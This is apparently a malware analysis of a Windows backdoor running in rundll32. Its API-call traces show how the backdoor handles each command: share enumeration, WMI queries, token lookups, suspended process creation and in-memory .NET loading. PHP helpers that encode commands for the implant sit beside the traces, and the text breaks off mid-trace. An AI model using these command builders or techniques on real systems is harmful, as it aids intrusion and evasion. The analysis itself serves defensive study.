[STR] "88C63B02519CEE72A25EF6EC48C81645|BC 0 06E070EE0EBC18FCB231FA5F2232D552|BC 0 2D2E673C37BFB5AEFF7B6E993A31C42D|BC 0 818033"
[STR] "27E1E432C67DF9FE9FDAAFE186|BC 0 F4A20974C8C6800F4F47C7C22C601421|BC 0 CFDA5FBC0D4FA62E42C714255044F485|BC 0 186BD9A1E34F"
[STR] "7DCB4935742A21CE55E4|BC 0 CFDA5FBC0D4FA62E4F47C7C22C601421|BC 0 CFDA5FBC0D4FA62E4F47C7C22C601421|BC 0 CFDA5FBC0D4FA62E15"
[STR] "50302E99E6A1B8|BC 0 8E0CDC7D2CCCCA3423B299731A9C487E|BC 0 AA57DFD929447E2C2F9CDB8B35CD0DB9|BC 0 61DFD75FEC1D8BAFF9CEF530"
[STR] "46C65251|BC 0 5DA9BDDF024BA03A9297A024290AE0B0|BC 0 F531323570BD19FA6D4EB6E10648DAE6|BC 0 A268C197D736CC20E35271F5BFD9EC"
[STR] "B0|BC 0 ABEF3B8D4E7F2C8FC2364B6478E93E31|BC 0 0E9212F3FA0DA0198137A86865CAD58D|BC 0 129035EE04E505C3A3EA9649CF8756E5|BC "
[STR] "0 ABEF3B8D4E7F2C8FCB86D4136BB0B258|BC 0 5CB72986CDB74BA56F9A74B6D82B6FF5|BC 0 E3F6A92830C6EE0CB1BEE380C811D604|BC 0 1CC5"
[STR] "AC93AA679D8AAC823DEC5B2897DD|BC 0 7FFB7420A1D8F410B1BEE380C811D604|BC 0 C81E2637ECD4A64F9D99CBF5E5467B58|BC 0 B77E3F2BE7"
[STR] "1D3B9B6F9A74B6D82B6FF5|BC 0 E3F6A92830C6EE0CB1BEE380C811D604|BC 0 1CC5AC93AA679D8A287517A5EC37D4C7|BC 0 8EFD789E895C11FA"
[STR] "137BA53655BEA4A1|BC 0 CA0544AEA0F72F243CE6E6AE32CA670C|BC 0 E16EB0C8197BFB3F498A63DB91078752|BC 0 C176935497B19352909E32"
[STR] "F3149D8A1A|BC 0 2B6A40906714B7F04F47C7C22C601421|BC 0 CFDA5FBC0D4FA62E1B743A6088F53733|BC 0 FF47C9CACDC8A500B7AE5D12C9B2"
[STR] "D774|BC 0 F349185FA21BDBF550846852C104BBDF|BC 0 B8BDADE7C72CB6E40D1A0BEBE6B6AA49|BC 0 7C2350917926E9AC9D30A6DF11D1D3FD|B"
[STR] "C 0 2D7ABED60701CEC420E4E2F3F3EB8AED|BC 0 C732AFFFE6A3E2FB24C4B89DD0D2B154|BC 0 FF47C9CACDC8A500B7AE5D12C9B2D774|BC 0 F3"
[STR] "49185FA21BDBF550846852C104BBDF|BC 0 B8BDADE7C72CB6E40D1A0BEBE6B6AA49|BC 0 7C2350917926E9ACAE3FA42E6A85C7EB|BC 0 E70FD045"
[STR] "2BDA7295B2FB6C568762791C|BC 0 7037063EF65BF9CEC42B64AD4DBC00B2|BC 0 FF47C9CACDC8A500B7AE5D12C9B2D774|BC 0 F349185FA21BDB"
[STR] "F5FC1CD4EFB7BD7C98|BC 0 C5E9D12C29F4C7634566A6E8C1D327EF|BC 0 40905E55C5061A60A44A6AA11282C47D|BC 0 C5E9D12C29F4C7634566"
[STR] [TRUNCATED]
[PAR] DWORD cbBinary : 0x289a
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x0
[PAR] DWORD* pcchString : 0x0000000F04B2E97C
[RET] [0x7007dee028]
netshareenum
/*
$level == 0 -> 501
$level != 0 -> 502
*/
// ex: netshareenum("home", 1);
function netshareenum($servername, $level)
{
$cmd_id = "\x53\x49 $servername $level";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [395]
[PTP] [0x798] [0x42c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000086686A68A0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Qbv+SP8fZwzhxBezUi1u9VBz"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000086686C4260
[PAR] DWORD *pcbBinary : 0x000000866A5CE57C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x866a52bea1]
II. Execution
[CNT] [465]
[PTP] [0x798] [0xa1c] [c:\windows\system32\rundll32.exe]
[API] <NetShareEnum> in [srvcli.dll]
[PAR] LMSTR servername : 0x00000086686AF3C0
[STR] -> "home"
[PAR] DWORD level : 502
[PAR] LPBYTE* bufptr : 0x000000866AB4F3A8
[PAR] DWORD prefmaxlen : 0xffffffff
[PAR] LPDWORD entriesread : 0x00000086686AF3C0
[PAR] LPDWORD totalentries : 0x00000086686AF3C0
[PAR] LPDWORD resume_handle : 0x00000086686AF3C0
[RET] [0x866a52ef14]
III. Result
[CNT] [470]
[PTP] [0x798] [0xa1c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000086686C4EB0
[STR] -> "5349"
[STR] "home"
[STR] "AA"
[STR] "ADMIN$|Administration à distance|C:\Windows"
[STR] "C$|Partage par défaut|C:\"
[STR] "IPC$|IPC distant|"
[PAR] DWORD cbBinary : 0xca
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000866868F4F0
[PAR] DWORD* pcchString : 0x000000866AB4F28C
[RET] [0x866a52e028]
ExecWQLQuery
// ex: ExecWQLQuery("SELECT * FROM Win32_OperatingSystem");
function ExecWQLQuery($query)
{
$cmd_id = "\x13\x52 $query";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0x8f8] [0xa44] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000008556576190
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+UbrcSMtoCDXpwhieN05A5WEifA8/st/8JLmKKT4lWKO7Yj7ctJlQa7SbfuGuE7mAL7J6tMvLc9I2FQ=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000855658A620
[PAR] DWORD *pcbBinary : 0x00000085585BE76C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x855851bea1]
II. Execution
[CNT] [351]
[PTP] [0x8f8] [0xa44] [c:\windows\system32\rundll32.exe]
[API] <CoInitializeEx> in [combase.dll]
[RET] [0x8558533142]
[CNT] [352]
[PTP] [0x8f8] [0xa44] [c:\windows\system32\rundll32.exe]
[API] <CoInitializeSecurity> in [combase.dll]
[RET] [0x855853317d]
[CNT] [353]
[PTP] [0x8f8] [0xa44] [c:\windows\system32\rundll32.exe]
[API] <CoCreateInstance> in [combase.dll]
[PAR] REFCLSID *clsid : 0x0000008558537B90 ({4590F811-1D3A-11D0-891F-00AA004B2E24})
[PAR] LPUNKNOWN pUnkOuter : 0x0
[PAR] DWORD dwClsContext : 0x1
[PAR] REFIID riid : 0x0000008558537C90 (IWbemLocator)
[PAR] LPVOID *ppv : 0x00000085585BE600
[RET] [0x85585331aa]
[CNT] [354]
[PTP] [0x8f8] [0xa44] [c:\windows\system32\rundll32.exe]
[API] <IWbemLocator::ConnectServer> in [wbemprox.dll]
[PAR] BSTR strNetworkResource : 0x000000855657ED20
[STR] -> "ROOT\CIMV2"
[PAR] BSTR strUser : 0x0 (null)
[PAR] BSTR strPassword : 0x0 (null)
[PAR] BSTR strLocale : 0x0 (null)
[PAR] long lSecurityFlags : 0x0
[PAR] BSTR strAuthority : 0x0 (null)
[PAR] IWbemContext* pCtx : 0x0
[PAR] IWbemServices** ppNamespace : 0x00000085585BE608
[RET] [0x8558533208]
[CNT] [355]
[PTP] [0x8f8] [0xa44] [c:\windows\system32\rundll32.exe]
[API] <CoSetProxyBlanket> in [combase.dll]
[PAR] IUnknown* pProxy : 0x000000855657ACD0
[PAR] DWORD dwAuthnSvc : 0xffffffff
[PAR] DWORD dwAuthzSvc : 0xffffffff
[PAR] OLECHAR* pServerPrincName : 0x0 (null)
[PAR] DWORD dwAuthnLevel : 0x3
[PAR] DWORD dwImpLevel : 0x3
[PAR] RPC_AUTH_IDENTITY_HANDLE pAuthInfo : 0x0
[PAR] DWORD dwCapabilities : 0x0
[RET] [0x85585332e4]
[CNT] [356]
[PTP] [0x8f8] [0xa44] [c:\windows\system32\rundll32.exe]
[API] <IWbemServices::ExecQuery> in [fastprox.dll]
[PAR] BSTR strQueryLanguage : 0x0000008558538056
[STR] -> "WQL"
[PAR] BSTR strQuery : 0x0000008556572BD0
[STR] -> "SELECT * FROM Win32_OperatingSystem"
[PAR] long lFlags : 0x30 (WBEM_FLAG_RETURN_IMMEDIATELY | WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_ERROR_OBJECT | WBEM_FLAG_DONT_SEND_STATUS | WBEM_FLAG_SEND_ONLY_SELECTED)
[PAR] IWbemContext* pCtx : 0x0
[PAR] IEnumWbemClassObject** ppEnum : 0x00000085585BE610
[RET] [0x8558533328]
III. Result
[CNT] [723]
[PTP] [0x8f8] [0xa44] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000085565B9510
[STR] -> "1352"
[STR] "ROOT\CIMV2"
[STR] "BootDevice|\Device\HarddiskVolume1"
[STR] "BuildNumber|9600"
[STR] "BuildType|Multiprocessor Free"
[STR] "Caption|Microsoft Windows 8.1 Professionnel"
[STR] "CodeSet|1252"
[STR] "CountryCode|33"
[STR] "CreationClassName|Win32_OperatingSystem"
[STR] "CSCreationClassName|Win32_ComputerSystem"
[STR] "CSName|HOME"
[STR] "CurrentTimeZone|60"
[STR] "DataExecutionPrevention_32BitApplications|0"
[STR] "DataExecutionPrevention_Available|0"
[STR] "DataExecutionPrevention_Drivers|0"
[STR] "DataExecutionPrevention_SupportPolicy|2"
[STR] "Debug|0"
[STR] "Description|"
[STR] "Distributed|0"
[STR] "EncryptionLevel|256"
[STR] "ForegroundApplicationBoost|2"
[STR] "FreePhysicalMemory|3459280"
[STR] "FreeSpaceInPagingFiles|4194304"
[STR] "FreeVirtualMemory|7713384"
[STR] "InstallDate|20241022004215.000000+120"
[STR] "LastBootUpTime|20250322183343.488256+060"
[STR] "LocalDateTime|20250322183551.526000+060"
[STR] "Locale|040c"
[STR] "Manufacturer|Microsoft Corporation"
[STR] "MaxNumberOfProcesses|4294967295"
[STR] "MaxProcessMemorySize|137438953344"
[STR] "MUILanguages|fr-FR"
[STR] [TRUNCATED]
[PAR] DWORD cbBinary : 0xb9e
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000085565B74F0
[PAR] DWORD* pcchString : 0x00000085585BE49C
[RET] [0x855851e028]
GetAccountSidFromPid
// ex: GetAccountSidFromPid(1952)
function GetAccountSidFromPid($pid)
{
$cmd_id = "\xe7\x81 $pid";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0x5ac] [0x64c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000791AC09A80
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Ib/QSNMMNUn28Gv2Ui1u9VBz"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000791AC1A440
[PAR] DWORD *pcbBinary : 0x000000791CABE7DC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x791ca1bea1]
II. Execution
[CNT] [335]
[PTP] [0x5ac] [0x64c] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll]
[PAR] PHANDLE ProcessHandle : 0x000000791CABE298
[PAR] ACCESS_MASK DesiredAccess : 0x400 (PROCESS_QUERY_INFORMATION)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x000000791CABE2C0
[PAR] PCLIENT_ID ClientId : 0x000000791CABE2B0
[RET] [0x791ca34aab]
[CNT] [336]
[PTP] [0x5ac] [0x64c] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcessToken> in [ntdll.dll]
[PAR] HANDLE ProcessHandle : 0x2f0
[PAR] ACCESS_MASK DesiredAccess : 0xa (TOKEN_DUPLICATE | TOKEN_QUERY)
[PAR] PHANDLE TokenHandle : 0x000000791CABE2A0
[RET] [0x791ca34b2f]
[CNT] [337]
[PTP] [0x5ac] [0x64c] [c:\windows\system32\rundll32.exe]
[API] <DuplicateTokenEx> in [ADVAPI32.dll]
[RET] [0x791ca2058c]
[CNT] [338]
[PTP] [0x5ac] [0x64c] [c:\windows\system32\rundll32.exe]
[API] <GetTokenInformation> in [ADVAPI32.dll]
[PAR] HANDLE TokenHandle : 0x2f4
[PAR] TOKEN_INFORMATION_CLASS TokenInformationClass : 0x1(TokenUser)
[PAR] LPVOID TokenInformation : 0x0
[PAR] DWORD TokenInformationLength : 0x0
[PAR] PDWORD ReturnLength : 0x000000791CABE284
[RET] [0x791ca20611]
[CNT] [339]
[PTP] [0x5ac] [0x64c] [c:\windows\system32\rundll32.exe]
[API] <GetTokenInformation> in [ADVAPI32.dll]
[PAR] HANDLE TokenHandle : 0x2f4
[PAR] TOKEN_INFORMATION_CLASS TokenInformationClass : 0x1(TokenUser)
[PAR] LPVOID TokenInformation : 0x000000791AC0A0C0
[PAR] DWORD TokenInformationLength : 0x2c
[PAR] PDWORD ReturnLength : 0x000000791CABE284
[RET] [0x791ca20648]
[CNT] [340]
[PTP] [0x5ac] [0x64c] [c:\windows\system32\rundll32.exe]
[API] <LookupAccountSidW> in [ADVAPI32.dll]
[PAR] LPCWSTR lpSystemName : 0x0 (null)
[PAR] PSID lpSid : 0x000000791AC0A0D0
[PAR] LPTSTR lpName : 0x000000791CABE2F0
[PAR] LPDWORD cchName : 0x000000791CABE288
[PAR] LPTSTR lpReferencedDomainName : 0x000000791CABE4F8
[PAR] LPDWORD cchReferencedDomainName : 0x000000791CABE288
[PAR] PSID_NAME_USE peUse : 0x000000791CABE28C
[RET] [0x791ca20678]
III. Result
[CNT] [348]
[PTP] [0x5ac] [0x64c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000791AC1A0B0
[STR] -> "E781"
[STR] "home\user"
[PAR] DWORD cbBinary : 0x1c
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000791AC1CB90
[PAR] DWORD* pcchString : 0x000000791CABE1BC
[RET] [0x791ca1e028]
unknown
No direct interaction with the infected Host
Some internal operation with the malware’s configuration, related to the HTTP access Token.
I’ll update later on after some more static analysis.
unknown2
No direct interaction with the infected Host
Same, this command free some memory allocated within the malware’s global structure, todo..
unknown3
todo
EnumProcessModules
// ex: EnumProcessModules(3048);
function EnumProcessModules($pid)
{
$cmd_id = "\x92\x64 $pid";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0x76c] [0x864] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000004EA881B250
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+f+bESNMiH0j01mv2Ui1u9VBz"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x0000004EA8828B40
[PAR] DWORD *pcbBinary : 0x0000004EAA81E5EC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x4eaa77bea1]
II. Execution
[CNT] [340]
[PTP] [0x76c] [0x864] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll]
[PAR] PHANDLE ProcessHandle : 0x0000004EAA81C0D8
[PAR] ACCESS_MASK DesiredAccess : 0x410 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x0000004EAA81C500
[PAR] PCLIENT_ID ClientId : 0x0000004EAA81C2F8
[RET] [0x4eaa794aab]
[CNT] [341]
[PTP] [0x76c] [0x864] [c:\windows\system32\rundll32.exe]
[API] <GetProcessImageFileNameW> in [PSAPI.DLL]
[PAR] HANDLE hProcess : 0x2f8
[PAR] LPWSTR lpImageFileName : 0x0000004EAA81C0F0
[PAR] DWORD nSize : 0x104
[RET] [0x4eaa782a2b]
[CNT] [342]
[PTP] [0x76c] [0x864] [c:\windows\system32\rundll32.exe]
[API] <EnumProcessModules> in [PSAPI.DLL]
[PAR] HANDLE hProcess : 0x2f8
[PAR] HMODULE *lphModule : 0x0000004EAA81C500
[PAR] DWORD cb : 0x2000
[PAR] LPDWORD lpcbNeeded : 0x0000004EAA81C0D4
[RET] [0x4eaa782a60]
[CNT] [370]
[PTP] [0x76c] [0x864] [c:\windows\system32\rundll32.exe]
[API] <GetModuleFileNameExW> in [PSAPI.DLL]
[PAR] HANDLE hProcess : 0x2f8
[PAR] HMODULE hModule : 0x00007FFFAFD00000 (ntdll.dll)
[PAR] LPWSTR lpFilename : 0x0000004EAA81C2F8
[PAR] DWORD nSize : 0x104
[RET] [0x4eaa782b07]
[CNT] [371]
[PTP] [0x76c] [0x864] [c:\windows\system32\rundll32.exe]
[API] <GetFileVersionInfoSizeW> in [version.dll]
[PAR] LPCWSTR lptstrFilename : 0x0000004EAA81C2F8
[STR] -> "C:\Windows\SYSTEM32\ntdll.dll"
[PAR] LPDWORD lpdwHandle : 0x0000004EAA81C014
[RET] [0x4eaa77e782]
[...]
III. Result
[CNT] [832]
[PTP] [0x76c] [0x864] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x0000004EA883B020
[STR] -> "9264"
[STR] "25"
[STR] "\Device\HarddiskVolume2\Users\user\Desktop\Graphical Loader.exe"
[STR] "0x00007FFFAFD00000|C:\Windows\SYSTEM32\ntdll.dll|Microsoft Corporation|DLL Couche NT"
[STR] "0x00007FFFAE220000|C:\Windows\system32\KERNEL32.DLL|Microsoft Corporation|DLL du client API BASE Windows NT"
[STR] "0x00007FFFAD260000|C:\Windows\system32\KERNELBASE.dll|Microsoft Corporation|DLL du client API BASE Windows NT"
[STR] "0x00007FFFAB9F0000|C:\Windows\system32\apphelp.dll|Microsoft Corporation|Fichier DLL du client de compatibilité des appl"
[STR] "ications"
[STR] "0x00007FFFAD3C0000|C:\Windows\system32\USER32.dll|Microsoft Corporation|DLL client de l’API uilisateur de Windows multi-"
[STR] "utilisateurs"
[STR] "0x00007FFFAD550000|C:\Windows\system32\GDI32.dll|Microsoft Corporation|GDI Client DLL"
[STR] "0x00007FFFAE3C0000|C:\Windows\system32\COMDLG32.dll|Microsoft Corporation|DLL commune de boîtes de dialogues"
[STR] "0x00007FFFAD6B0000|C:\Windows\system32\ADVAPI32.dll|Microsoft Corporation|API avancées Windows 32"
[STR] "0x00007FFFAE680000|C:\Windows\system32\SHELL32.dll|Microsoft Corporation|DLL commune du shell Windows"
[STR] "0x00007FFFAE5D0000|C:\Windows\system32\msvcrt.dll|Microsoft Corporation|Windows NT CRT DLL"
[STR] "0x00007FFFAE360000|C:\Windows\system32\SHLWAPI.dll|Microsoft Corporation|Bibliothèque d’utilitaires légers du Shell"
[STR] "0x00007FFFAAA80000|C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.17415_none_624048"
[STR] "6fecbd8abb\COMCTL32.dll|Microsoft Corporation|Bibliothèque de contrôles de l’expérience utilisateur"
[STR] "0x00007FFFAFC20000|C:\Windows\SYSTEM32\sechost.dll|Microsoft Corporation|Host for SCM/SDDL/LSA Lookup APIs"
[STR] "0x00007FFFAE480000|C:\Windows\system32\RPCRT4.dll|Microsoft Corporation|Runtime d’appel de procédure distante"
[STR] [TRUNCATED]
[PAR] DWORD cbBinary : 0x152e
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x0000004EA8837100
[PAR] DWORD* pcchString : 0x0000004EAA81C01C
[RET] [0x4eaa77e028]
CreateProcessSuspended
// ex: CreateProcessSuspended("notepad")
function CreateProcessSuspended($processPath)
{
$cmd_id = "\x48\x73 $processPath";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [361]
[PTP] [0x95c] [0x410] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000017A8DC3EC0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+R8PYSPw1Z0jhzxSjJEwSvx9udygI3A=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000017A8DCD760
[PAR] DWORD *pcbBinary : 0x00000017AAD8EB2C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x17aacbbea1]
II. Execution
[CNT] [384]
[PTP] [0x95c] [0x1e0] [c:\windows\system32\rundll32.exe]
[API] <CreatePipe> in [KERNEL32.DLL]
[PAR] PHANDLE hReadPipe : 0x00000017AB2FE2B8
[PAR] PHANDLE hWritePipe : 0x00000017AB2FE2C0
[PAR] LPSECURITY_ATTRIBUTES lpPipeAttributes : 0x00000017AB2FE2F8
[PAR] DWORD nSize : 0x0
[RET] [0x17aaccb70d]
[ * ] [pid 0x95c][tid 0x1e0] c:\windows\system32\rundll32.exe
[API] <CreatePipe>
[PAR] HANDLE hReadPipe : 0x2fc
[PAR] HANDLE hWritePipe : 0x30c
[RES] BOOL 0x1
[CNT] [385]
[PTP] [0x95c] [0x1e0] [c:\windows\system32\rundll32.exe]
[API] <SetHandleInformation> in [KERNEL32.DLL]
[PAR] HANDLE hObject : 0x2fc
[PAR] DWORD dwMask : 0x1
[PAR] DWORD dwFlags : 0x0
[RET] [0x17aaccb72b]
[CNT] [394]
[PTP] [0x95c] [0x1e0] [c:\windows\system32\rundll32.exe]
[API] <CreateProcessA> in [KERNEL32.DLL]
[PAR] LPCTSTR lpApplicationName : 0x0 (null)
[PAR] LPCTSTR lpCommandLine : 0x00000017A8DAC1E0
[STR] -> "notepad"
[PAR] LPSECURITY_ATTRIBUTES lpProcessAttributes : 0x0
[PAR] LPSECURITY_ATTRIBUTES lpThreadAttributes : 0x0
[PAR] BOOL bInheritHandles : 0x1
[PAR] DWORD dwCreationFlags : 0x8000004 (CREATE_NO_WINDOW | CREATE_SUSPENDED)
[PAR] LPVOID lpEnvironment : 0x0
[PAR] LPCSTR lpCurrentDirectory : 0x0 (null)
[PAR] LPSTARTUPINFOA lpStartupInfo : 0x00000017AB2FE310
[FLD] -> lpDesktop = 0x0 (null)
[FLD] -> lpTitle = 0x0 (null)
[FLD] -> dwFlags = 0x100 (STARTF_USESTDHANDLES)
[FLD] -> wShowWindow = 0x0
[FLD] -> hStdInput = 0x0
[FLD] -> hStdOutput = 0x30c
[FLD] -> hStdError = 0x30c
[PAR] LPPROCESS_INFORMATION lpProcessInformation : 0x00000017AB2FE2E0
[RET] [0x17aaccb8ee]
III. Result
[CNT] [410]
[PTP] [0x95c] [0x1e0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000017A8DCD2A0
[STR] -> "B0E9"
[STR] "AB 2968 1272 notepad"
[PAR] DWORD cbBinary : 0x32
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000017A8DE3810
[PAR] DWORD* pcchString : 0x00000017AB2FE17C
[RET] [0x17aacbe028]
LoadManagedCode
// ex:
function LoadManagedCode($filename)
{
$file = file_get_contents($filename);
$p1_b64 = base64_encode($file);
$cmd_id = "\x44\x80 $p1_b64";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
II. Execution
[CNT] [459]
[PTP] [0x478] [0x9a0] [c:\windows\system32\rundll32.exe]
[INF] [ Thread is from a Worker Pool ]
[API] <LoadLibraryExA> in [KERNEL32.DLL]
[PAR] LPCTSTR lpFileName : 0x0000001E6091EEC4 ("mscoree.dll")
[PAR] DWORD dwFlags : 0x0 (Same behavior as LoadLibrary)
[RET] 0x7fff820453c7
[CNT] [469]
[PTP] [0x478] [0x9a0] [c:\windows\system32\rundll32.exe]
[INF] [ Thread is from a Worker Pool ]
[API] <LoadLibraryExA> in [KERNEL32.DLL]
[PAR] LPCTSTR lpFileName : 0x0000001E6091EEB3 ("mscoreei.dll")
[PAR] DWORD dwFlags : 0x0 (Same behavior as LoadLibrary)
[RET] 0x7fff820453c7
[CNT] [479]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <GetConsoleWindow> in [KERNEL32.DLL]
[RET] [0x1e6030b0aa]
[CNT] [480]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <AllocConsole> in [KERNEL32.DLL]
[RET] [0x1e602fa259]
[CNT] [504]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <GetConsoleWindow> in [KERNEL32.DLL]
[RET] [0x1e602fa266]
[CNT] [505]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <ShowWindow> in [USER32.dll]
[PAR] HWND hWnd : 0x202b4
[PAR] int nCmdShow : 0x0
[RET] [0x1e602fa26d]
[CNT] [506]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <CreatePipe> in [KERNEL32.DLL]
[PAR] PHANDLE hReadPipe : 0x0000001E6091EF58
[PAR] PHANDLE hWritePipe : 0x0000001E6091EF60
[PAR] LPSECURITY_ATTRIBUTES lpPipeAttributes : 0x0000001E6091EE98
[PAR] DWORD nSize : 0x0
[RET] [0x1e602fa2eb]
[ * ] [pid 0x478][tid 0x838] c:\windows\system32\rundll32.exe
[API] <CreatePipe>
[PAR] HANDLE hReadPipe : 0x324
[PAR] HANDLE hWritePipe : 0x328
[RES] BOOL 0x1
[CNT] [662]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <SafeArrayCreate> in [OLEAUT32.dll]
[PAR] VARTYPE vt : 0x11
[PAR] UINT cDims : 0x1
[PAR] SAFEARRAYBOUND *rgsabound : 0x0000001E6091EE1C
[FLD] rgsabound[0]
[FLD] -> cElements = 0x1c00
[FLD] -> lLbound = 0x0
[RET] [0x1e6030cebc]
[CNT] [663]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <SafeArrayLock> in [OLEAUT32.dll]
[PAR] SAFEARRAY* psa : 0x0000001E5E499DE0
[RET] [0x1e6030cec8]
[CNT] [673]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <CLRCreateInstance> in [mscoree.dll]
[PAR] REFCLSID clsid : 0x0000001E60327B60 ({9280188D-0E8E-4867-B30C-7FA83884E8DE})
[PAR] REFIID riid : 0x0000001E60327C40 (ICLRMetaHost)
[PAR] LPVOID *ppInterface : 0x0000001E6091EDF0
[RET] [0x1e6030b46d]
[CNT] [674]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <ICLRMetaHost::GetRuntime> in [mscoreei.dll]
[PAR] LPCWSTR pwzVersion : 0x0000001E5E4A0CB0 ("v4.0.30319")
[PAR] REFIID riid : 0x0000001E60327C50 (ICLRRuntimeInfo)
[PAR] LPVOID *ppRuntime : 0x0000001E6091EDE8
[RET] [0x1e6030b489]
[CNT] [675]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <ICLRRuntimeInfo::IsLoadable> in [mscoreei.dll]
[PAR] BOOL* pbLoadable : 0x0000001E6091ED04
[RET] [0x1e6030b49b]
[CNT] [676]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <ICLRRuntimeInfo::GetInterface> in [mscoreei.dll]
[PAR] REFCLSID clsid : 0x0000001E60327B70 ({76833450-7FFF-0000-A075-8376FF7F0000})
[PAR] REFIID riid : 0x0000001E60327C60 (ICorRuntimeHost)
[PAR] LPVOID *ppUnk : 0x0000001E6091EDC0
[RET] [0x1e6030b4c0]
[CNT] [685]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <ICorRuntimeHost::Start> in [clr.dll]
[RET] [0x1e6030d112]
[CNT] [687]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <ICorRuntimeHost::CreateDomain> in [clr.dll]
[PAR] LPCWSTR pwzFriendlyName : 0x0000001E6091EE32
[STR] -> "f09er35s9u"
[PAR] IUnknown* pIdentityArray : 0x0
